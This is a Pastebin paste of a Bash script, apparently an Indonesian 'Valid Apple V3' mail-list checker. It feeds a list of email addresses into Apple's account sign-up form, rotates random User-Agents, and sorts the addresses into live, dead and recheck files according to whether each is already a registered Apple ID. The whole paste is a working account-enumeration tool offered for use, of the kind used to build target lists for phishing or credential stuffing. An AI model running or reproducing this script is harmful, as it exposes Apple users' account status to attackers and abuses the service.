Advertisement
ANIKI12

r.sh

Dec 13th, 2017
37
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 3.96 KB | None | 0 0
  1. #!/bin/bash
  2. # Powered by : Baperc0de | Fahmi V Squad
  3. # Thanks to : Baperc0de Crew & all
  4. # Ubah extensi file dari .txt menjadi .sh
  5. # Command : bash applebcode.sh namamailist.txt
  6. #https://stackoverflow.com/questions/14219092/bash-my-script-bin-bashm-bad-interpreter-no-such-file-or-directory
  7. header(){
  8. CY='\e[36m'
  9. GR='\e[34m'
  10. OG='\e[92m'
  11. WH='\e[37m'
  12. RD='\e[31m'
  13. YL='\e[33m'
  14. BF='\e[34m'
  15. DF='\e[39m'
  16. OR='\e[33m'
  17. PP='\e[35m'
  18. B='\e[1m'
  19. CC='\e[0m'
  20. cat << "EOF"
  21.  
  22. $$$$$$$     $$$$$$$   $$$$$$  $$$$$$ $$$$$$     $$$$$  $$$$  $$$$$$  $$$$$$
  23.  $$   $$     $$ $$     $$  $$  $$     $$  $$   $$     $$  $$  $$  $$  $$
  24.  $$$$$$$$   $$   $$    $$$$$   $$$$   $$$$$   $$      $$  $$  $$  $$  $$$$
  25.  $$    $$  $$$$$$$$$   $$      $$     $$ $$    $$     $$  $$  $$  $$  $$
  26. $$$$$$$$  $$$     $$$ $$$$    $$$$$$ $$$  $$$   $$$$$  $$$$  $$$$$$  $$$$$$
  27.  
  28. // Baperc0de - Meski Baper Anti Mager.
  29. // Valid Apple V3
  30. // CODE BY Baperc0de
  31. // fahmi@baperc0de.com                          
  32.                
  33. EOF
  34. printf "\n"
  35. }
  36.  
  37. UA=$(cat ua.txt | sort -R  | head -1)
  38.  
  39. ngecek_email(){ # CHECK VALID
  40.     local jsessionid=$(curl -s --head https://ams.apple.com/pages/SignUp.jsf | grep -Po "(?<=Set-Cookie: JSESSIONID=)[^;]*")
  41.     local used=$(curl -s -D - "https://ams.apple.com/pages/SignUp.jsf;jsessionid=$JSESSIONID" \
  42.     -H "Cookie: JSESSIONID=$jsessionid;" \
  43.     -H "User-Agent: $5" \
  44.     -d "SignUpForm=SignUpForm&SignUpForm%3AemailField=$1&SignUpForm%3AblueCenter=Continue&javax.faces.ViewState=j_id1")
  45.     if [[ $used =~ "200 OK" ]]; then
  46.         if [[ $used =~ "This email address is already registered as an Apple ID, please sign in." ]]; then
  47.             printf "${B}${OG}[LIVE]   ${CC}  => ${1} ${DF} - ${CY}${B}AppleVal | Baperc0de${CC} \n"
  48.             echo $1 >> $2  
  49.         else
  50.             printf "${B}${RD}[DEAD]   ${CC}  => ${1} ${DF} - ${CY}${B}AppleVal | Baperc0de${CC} \n"
  51.             echo $1 >> $3  
  52.         fi
  53.     else
  54.         printf "${B}${OR}[RECHECK]${CC}  => ${1} ${DF} - ${CY}${B}AppleVal | Baperc0de${CC} \n"
  55.         echo $1 >> $4
  56.     fi
  57. }
  58.  
  59. # CHECK SPECIAL VAR FOR MAILIST
  60. if [[ -z $1 ]]; then
  61.     header
  62.     printf "To Use $0 <mailist.txt> \n"
  63.     exit 1
  64. fi
  65.  
  66. # CALL HEADER
  67. header
  68. # CHECK OUTPUT FOLDER
  69. Output='Output' # Change Output Folder
  70. if [[ ! -d $Output ]]; then
  71.     printf "${RD}[?]${DF} ${B}No output Folder${CC}\n"
  72.     printf "${BF}[+]${DF} ${B}Create Output Folder${CC}\n"
  73.     mkdir $Output
  74.     if [[ -d $Output ]]; then
  75.         printf "${OG}[+]${DF} ${B}Output Folder Created${CC}\n\n"
  76.     else
  77.         printf "${RD}[-]${DF} ${B}Output Folder Failed To Created${CC}\n"
  78.     fi
  79. else
  80.     printf "${OG}[+]${DF} ${B}Output Folder Found${CC}\n"
  81.     printf "${OG}[+]${DF} ${B}Use Output Folder${CC}\n\n"
  82. fi
  83.  
  84. # TOUCH OUTPUT FILE
  85. VALID="${Output}/valid.txt"
  86. INVALID="${Output}/invalid.txt"
  87. UNKNOWN="${Output}/unknown.txt"
  88. touch $VALID
  89. printf "$OG[+]${DF}${B} $VALID Berhasil dibuat${CC}\n"
  90. touch $INVALID
  91. printf "$OG[+]${DF}${B} $INVALID Berhasil dibuat${CC}\n"
  92. touch $UNKNOWN
  93. printf "$OG[+]${DF}${B} $UNKNOWN Berhasil dibuat${CC}\n\n"
  94.  
  95. # CHECK LINES IN MAILIST
  96. lines=$(wc -l $1 | cut -f1 -d' ')
  97. printf "${OG}[+]${DF}${B} Ditemukan ${lines} email dalam ${1}${CC}\n\n"
  98.  
  99. # OPTIONAL
  100. persend=10
  101. setleep=1
  102.  
  103. # MAIN
  104. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $1))'
  105. itung=1
  106. STARTTIME=$(date +%s)
  107. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  108. username="${mailist[$i]}"
  109. set_kirik=$(expr $itung % $persend)
  110.         if [[ $set_kirik == 0 && $itung > 0 ]]; then
  111.                 sleep $setleep
  112.         fi
  113.         ngecek_email $username $VALID $INVALID $UNKNOWN $UA &
  114.         grep -v -- "$username" $1 > temp && mv temp $1
  115.         itung=$[$itung+1]
  116. done
  117. wait
  118. ENDTIME=$(date +%s)
  119.  
  120. # RESULT
  121. printf "\n${PP}Sukses ! $[$ENDTIME - $STARTTIME] Detik Untuk Check ${lines} Email ${CC}\n"
  122.  
  123. #READ LINES OUTPUT
  124. T_VALID=$(wc -l $VALID | cut -f1 -d' ')
  125. T_INVALID=$(wc -l $INVALID | cut -f1 -d' ')
  126. T_UNKNOWN=$(wc -l $UNKNOWN | cut -f1 -d' ')
  127.  
  128. printf "LIVES : $T_VALID | DIE : $T_INVALID | UNKNOWN : $T_UNKNOWN\n$CC"
  129. printf "${B}${BF}-===[Baperc0de - Valid Apple V3]===-${CC}\n\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement